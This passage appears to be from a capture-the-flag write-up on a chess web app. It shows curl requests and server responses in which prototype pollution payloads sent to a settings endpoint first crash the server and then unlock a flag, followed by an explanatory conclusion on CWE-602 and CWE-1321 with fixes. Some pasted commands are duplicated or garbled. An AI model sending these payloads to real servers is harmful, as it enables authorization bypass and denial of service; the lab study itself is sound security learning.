{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
curl -c cookies3.txt -b cookies3.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"unlocked":true}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Set-Cookie: sid=c092baae010523cb256c2b775e1bee7a; Path=/; HttpOnly; SameSite=Lax
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:29:16 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>

curl -c cookies3.txt -b cookies3.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies3.txt -b cookies3.txt -X POST http://IP_Address:3000/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"} 

curl -c cookies4.txt -b coocurl -c cookies4.txt -b cookies4.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"unlocked":true,"config":{"unlocked":true}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Set-Cookie: sid=2060ac46ce7423d1282b49b8d6a01054; Path=/; HttpOnly; SameSite=Lax
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:29:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> &nbsp; &nbsp;at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>

curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/reset curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/move
-H "Content-Type: application/json"
-d '{"from":"a1","to":"a8"}'

curl -c fresh.txt -b fresh.txt -i -X POST http://IP\_Address:3000/api/settings
-H "Content-Type: application/json"
-d '{"proto":{"unlocked":true}}'

curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/reset curl -c fresh.txt -b fresh.txt -X POST http://IP\_Address:3000/api/move
-H "Content-Type: application/json"
-d '{"from":"a1","to":"a8"}'

cat > payload6.json << 'EOF'
{"constructor":{"prototype":{"unlocked":true}}}
EOF

curl -c test3.txt -b test3.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" --data @payload6.json
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=63dccdfe63193d8897f08a61f6e1b694; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sun, 05 Jul 2026 14:48:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{}}
cat > payload7.json << 'EOF'                         cat > payload7.json << 'EOF'
{"constructor":{"prototype":{"config":true}}}
EOF
curl -c test4.txt -b test4.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" --data @payload7.json
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=bb3b2d28a78ed0b498c4d2df119738ff; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sun, 05 Jul 2026 14:48:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{}}
cat > payload8.json << 'EOF'                         cat > payload8.json << 'EOF'
{"constructor":{"prototype":{"unlocked":true}}}
EOF
curl -c test5.txt -b test5.txt -i -X POST http://IP_Address:3000/api/settings \
  -H "Content-Type: application/json" --data @payload8.json

curl -c test5.txt -b test5.txt -X POST http://IP_Address:3000/api/reset
curl -c test5.txt -b test5.txt -X POST http://IP_Address:3000/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=8d8859d492939bc0ae32c1cbf8d3a414; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sun, 05 Jul 2026 14:49:13 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"preferences":{}}{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"THM{pr0t0_p0lluted_th3_r3dacted}"}

Conclusion

Stepping back, this room does a nice job of using the same trivial "puzzle" (mate-in-one) as a wrapper around two very different, very real vulnerability classes:

Part 1: Client-Side Enforcement of Server-Side Security (CWE-602). The lesson here is old but still everywhere in the wild: any check that happens in JavaScript running on someone else's machine is a suggestion, not a control. If you need to prevent an action, the server has to refuse it — client-side validation is fine for UX, but it's not a security boundary.

Part 2: Prototype Pollution (CWE-1321), with a side of Uncontrolled Recursion (CWE-674). This one was the more interesting fight. A custom deepMerge used to save user preferences didn't properly guard against dangerous keys like__proto__, constructor, and prototype, which let a polluted key on Object.prototype get inherited by the server's session object turning a cosmetic "board theme" feature into a path toward flipping an authorization flag (session.config.unlocked) that was never meant to be user-controlled. Along the way, I also stumbled into the fact that the same unguarded recursion is a self-inflicted denial-of-service risk: a self-referential payload sent the merge function into infinite recursion and crashed the process for every session, not just mine a good reminder that testing prototype pollution payloads against a live, non-disposable target can do real damage, not just theoretical damage.

The bigger takeaway, and the reason I think this is a good room to write up rather than just grind through: both vulnerabilities come from the same underlying mistake: trusting structure you don't control. In Part 1, the app trusted that the client would behave. In Part 2, it trusted that a JSON object's shape wouldn't be weaponized against the language's own object model. Neither trust was warranted, and neither fix is exotic: enforce checks server-side, and never merge untrusted keys into an object without an explicit denylist (or better, a schema/whitelist) for __proto__, constructor, and prototype.

If you're working through this room yourself, I'd genuinely encourage doing Part 2 on a disposable instance and resetting liberally. I did not, and paid for it in wasted requests against a corrupted Object.prototype. Lesson noted for next time.